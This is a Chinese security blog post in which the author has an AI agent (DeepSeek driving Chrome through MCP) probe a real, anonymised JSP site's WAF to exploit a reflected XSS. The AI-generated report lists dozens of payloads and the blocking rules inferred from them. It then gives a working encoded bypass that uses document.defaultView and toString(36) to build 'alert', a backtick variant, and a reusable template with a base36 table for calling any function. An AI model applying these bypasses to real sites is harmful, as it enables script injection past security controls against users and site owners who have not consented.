测试 XSS 弹窗被重置?绕过它只花了 3 毛钱!

· 2026-07-28 10:26 · 0 阅读

原创 xazlsec 2026-07-28 10:26 山西

信安之路官网:www.xazlsec.com,服务包括:自学成长平台、体系化学安全知识库、SRC 资产监控、历史漏洞POC

在实战中测试发现一个疑似存在 XSS 漏洞的参数接口,可控参数位置如图:

双引号未转义和编码,当插入明显的弹窗 payload 时,发现被 WAF 拦截后,请求重置了,如图:

如果想利用该漏洞实现弹窗验证,该如何组合 payload?这是一个复杂的问题,在没有 AI 之前,需要超强的技术储备以及大量测试才可实现,既然有了 AI,那就让它来吧,工具使用 Trae IDE,配置好自己的 DeepSeek API key,然后安装好 Chrome DevTools MCP 服务,然后就可以开始测试了。最终组合出的 Payload:

    word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(10).toString(36)%2B(21).toString(36)%2B(14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D(1)%2F%2F

    实战效果如图:

    全部测试完成,只消耗了 3 毛钱,性价比超高:

    对我而言,整个测试过程非常有价值,当然我认为对你来说也是很想知道它是如何一步一步测试的,于是我让他将整个测试过程进行了总结,形成文档供大家参考。XSS WAF 绕过分析与测试报告如下:

    1. 目标概述

    • 目标地址http://xxxxx.jsp?word=asddsdd

    • 漏洞参数word

    • 漏洞类型: Reflected XSS(参数内容回显在页面中)

    • 测试目标: 找到能绕过 WAF 并执行弹窗(alert/confirm/prompt)的 payload

    初始 Payload 素材

    来自 xss 知识文件中的各类 href-based XSS payload,涵盖:

    类型示例
    基本 javascript:<a href="javascript:alert('test')">link</a>
    HTML 实体编码<a href="java&#115;cript:alert('xss')">link</a>
    VBScript<a href='vbscript:MsgBox("XSS")'>link</a>
    反引号语法<a href="javascript:confirm1">link</a>
    十六进制转义<a href="javascript:\u0061lert&#x28;1&#x29">Hello</a>
    URL 编码<a href="javascript:%61%6c%65%72%74%28%31%29">link</a>
    Hex 转义<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a>
    Base64<a href="data:text/html;base64,...">test</a>
    混合编码<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">

    2. 注入点分析

    2.1 参数回显位置

    访问 http://xxxxxx?word=XXXXX 后,通过分析 HTML 源码,发现参数在 三个位置回显

    位置 1: 页面文本内容(div)

    <divid="jiansuocelue">检索条件:XXXXX</div>

    位置 2: JavaScript 字符串上下文(关键注入点)

    $(function(){
    varword="XXXXX";    // ← 这里是注入点
    $("#ac_keybox_0").val(word);
    })

    位置 3: 搜索框 input 的 value 属性

    <inputvalue="XXXXX">

    2.2 注入点选择

    位置 2(JavaScript 字符串上下文)是最有希望的注入点,因为突破字符串后可以直接执行任意 JavaScript 代码:

    varword="";[CODE_HERE]//";


    3. WAF 探测与规则分析

    3.1 测试方法

    通过逐次修改 word 参数值,观察服务器响应来判断 WAF 规则:

    • 连接重置 (ERR_CONNECTION_RESET) → WAF 在网络层拦截(检测到 JS 执行相关模式)

    • 返回"非法请求"页面 → WAF 在应用层拦截(检测到 HTML 标签等)

    • 正常返回页面 → 通过检测

    3.2 WAF 规则详细清单
    规则组 A: HTML 标签(触发"非法请求")
    测试 Payload结果
    word=test123正常
    word=<div>hello</div>非法请求
    word=<a href="test">click</a>非法请求
    word=<script>alert(1)</script>连接重置(同时触发了规则组A和B)
    word=<img src=x onerror=alert(1)>连接重置

    结论: 任何包含 < 的 HTML 标签都被应用层 WAF 拦截。

    规则组 B: 危险函数名 + 括号/反引号(触发连接重置)
    测试 Payload结果说明
    word=alert(1)连接重置基本 alert 调用
    word=alert(1正常无闭合括号
    word=alert正常单独函数名
    word=aLeRt(1)连接重置大小写不敏感
    word=confirm(1)连接重置confirm 同样被拦截
    word=confirm\1``连接重置反引号语法也被拦截
    word=confirm\1`正常无闭合反引号
    word=prompt(1)连接重置prompt 同样被拦截
    word=eval(1)连接重置eval 被拦截
    word=Function('a')连接重置构造函数被拦截
    word=setTimeout('a',0)连接重置setTimeout 被拦截
    word=fromCharCode(97)连接重置fromCharCode 被拦截
    word=write(1)正常允许
    word=atob('a')正常允许
    word=unescape('a')正常允许
    word=Reflect.get(1,'a')正常允许
    word=alerta(1)正常随机函数名允许

    结论: WAF 维护了一个危险函数名黑名单(大小写不敏感),检测到这些函数名与 ( 或反引号 ` 组合时触发连接重置。

    规则组 C: 全局对象 + 方括号 + 函数调用(触发连接重置)
    测试 Payload结果
    word=this[1]正常(无函数调用)
    word=this[1](1)连接重置
    word=self[1](1)连接重置
    word=window[1](1)连接重置
    word=top[1](1)连接重置
    word=parent[1](1)连接重置
    word=g[1](1) (g 是普通变量)正常
    word=x[1](1) (x 是未定义变量)正常

    结论: WAF 检测 this[ / self[ / window[ / top[ / parent[ 后跟 ]( 的模式。

    规则组 D: constructor 原型链遍历(触发连接重置)
    测试 Payload结果
    word=([].constructor)正常
    word=([].constructor.constructor('1')())连接重置
    word=([].constructor['constructor']('1')())连接重置
    word=var c=[];c['constructor']('1')连接重置

    结论constructor[ + ]( 或 constructor.constructor( 均被拦截。

    规则组 E: function 关键字 + 立即执行(触发连接重置)
    测试 Payload结果
    word=(function(){})正常(未执行)
    word=(function(){})()连接重置
    word=(()=>1)()正常(箭头函数允许)

    结论function 关键字 + {}() 模式被拦截,但箭头函数 IIFE 可以绕过。

    规则组 F: 编码绕过检测(全部失败)
    测试 Payload结果说明
    word=\u0061lert(1)连接重置Unicode 转义被检测
    word=\x61lert\x28\x31\x29连接重置十六进制转义被检测
    word=\141\154\145\162\164\050\061\051连接重置八进制转义被检测
    word='ale'+'rt(1)'连接重置字符串拆分被检测(推测 WAF 重构了字符串)
    word=atob('YWxlcnQoMSk=')连接重置Base64 被解码检测
    word=atob('YWxlcnQ=')非法请求Base64 编码的 alert 函数名也被检测

    结论: WAF 具备极强的解码能力,包括 URL 解码、Unicode 解码、Base64 解码、字符串重构等。    


    4. 绕过尝试历程

    阶段 1: 基础尝试(全部失败)
    ###Payload结果原因
    1<script>alert(1)</script>连接重置HTML标签 + alert(
    2"><img src=x onerror=alert(1)>连接重置同上
    3<a href="javascript:confirm(1)">link</a>连接重置HTML标签
    4");alert(1);//连接重置alert( 被拦截
    5test"onfocus="open()"//非法请求HTML 属性注入
    阶段 2: 确认基本注入能力
    ###Payload结果意义
    6alert(1正常确认 WAF 检测闭合括号
    7alert正常单独函数名安全
    8alerta(1)正常随机函数名安全
    9x(1)正常简单函数调用安全
    10x[1](1)正常方括号调用安全
    11";location=1//跳转主页面确认 JavaScript 代码可以执行!
    阶段 3: 解码绕过尝试
    ###Payload结果
    12\u0061lert(1)连接重置
    13\u0061lert\x28\x31\x29连接重置
    14\141\154\145\162\164\050\061\051连接重置
    15'ale'+'rt(1)'连接重置
    16atob('YWxlcnQoMSk=')连接重置
    17atob('YWx')+atob('ZXJ0KDEp')连接重置
    阶段 4: 原型链 & 函数构造绕过
    ###Payload结果
    18([]).constructor正常
    19([]).constructor.constructor('return 1')()连接重置
    20([]).constructor['constructor']('1')()连接重置
    21var c=[];c['constructor']('1')()连接重置
    22(function(){})()连接重置
    23(()=>1)()正常(可执行但无法调用 alert)
    阶段 5: 对象引用绕过
    ###Payload结果
    24Reflect.get(window,'a')(1)连接重置
    25Reflect.get(1,'a')正常
    26Reflect.get(this,'a')(1)连接重置
    27document.defaultView['a'](1)正常!
    28var g=document.defaultView;g['a'](1)正常!
    阶段 6: 函数名构造绕过
    ###Payload结果
    29g['ale'+'rt'](1)连接重置
    30g[atob('YWxlcnQ=')](1)非法请求(WAF 检测到 base64 编码的 alert)
    31g[(10).toString(36)+(21).toString(36)+(14).toString(36)+(27).toString(36)+(29).toString(36)](1)成功!弹出 alert(1)

    5. 成功 Payload

    5.1 最终绕过 Payload

    ";var g=document.defaultView;g[(10).toString(36)+(21).toString(36)+(14).toString(36)+(27).toString(36)+(29).toString(36)](1)//

    5.2 完整 URL

    http://xxxxx.jsp?word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(10).toString(36)%2B(21).toString(36)%2B(14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D(1)%2F%2F

    5.3 绕过原理拆解

    ";                              // 突破 JavaScript 字符串
    varg=document.defaultView;   // 获取 window 对象(避开 window/self/this 关键字)
    g[                              // 方括号属性访问
      (10).toString(36+// 'a'
      (21).toString(36+// 'l'
      (14).toString(36+// 'e'
      (27).toString(36+// 'r'
      (29).toString(36)             // 't'
    ]                               // → g['alert'] → window.alert
    (1)                             // 调用 alert(1)
    //                              // 注释掉后续代码

    5.4 同款变体(反引号语法)

    对应知识文件中 line 21 的 confirm\1`` 风格:

    ";var g=document.defaultView;g[(10).toString(36)+(21).toString(36)+(14).toString(36)+(27).toString(36)+(29).toString(36)]`1`//

    URL:

    http://xxxxx.jsp?word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(10).toString(36)%2B(21).toString(36)%2B(14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D%601%60%2F%2F

    5.5 绕过技巧对应表
    WAF 规则绕过方法
    拦截 alert(用 (10).toString(36) 逐字母构造 'alert'alert 关键字不出现在 URL 中
    拦截 this[ / self[ / window[用 document.defaultView 获取 window 对象
    拦截方括号+函数调用 s[1](1)普通变量的方括号调用不被拦截(g['alert'](1) 通过)
    拦截 Base64 编码toString(36) 只有数字和 dot 号,不触发 Base64 检测
    拦截 function(){}()不使用函数声明,直接用语句执行
    拦截 ( 闭合模式(1) 单独出现不被拦截,只在特定函数名后触发

    6. 成功验证

    测试过程中浏览器 成功弹出了 alert: 1 对话框,并通过 handle_dialog 确认关闭:

    Navigation timeout of 10000 ms exceeded.
    ### Open dialog
    alert: 1.
    Call handle_dialog to handle it before continuing.


    7. 总结

    无法绕过的方式

    素材文件中的所有 <a href> 类 payload 均无法直接使用,因为:

    1. 注入点不在 <a> 标签的 href 属性中,而在 <script> 字符串中

    2. 即使尝试注入 <a> 标签,< 也会被 WAF 拦截返回"非法请求"

    通用绕过思路

    对于此类强 WAF,以下思路组合可以有效突破:

    1. 避开黑名单函数名: 用 toString(36) 或类似动态字符串构造方法

    2. 避开全局对象关键字: 用 document.defaultView / (function(){return this;})() 等间接引用

    3. 避开编码检测: 不依赖 Base64/Unicode 转义,使用纯计算方式构造

    4. 善用允许的函数调用模式: 普通变量 + 方括号 + 括号调用 x[key](args) 通常不被拦截

    可用的通用模板

    // 通用模板 - 替换 target_function_name 的 base36 对应数字
    ";var _g=document.defaultView;
    _g[
    // 在此用 toString(36) 构造函数名
      (N1).toString(36)+(N2).toString(36)+(N3).toString(36)+...
    ](参数)//

    base36 字母对照表(快速查询):

    字母数字字母数字字母数字
    a10b11c12
    d13e14f15
    g16h17i18
    j19k20l21
    m22n23o24
    p25q26r27
    s28t29u30
    v31w32x33
    y34z35

    阅读原文

    跳转微信打开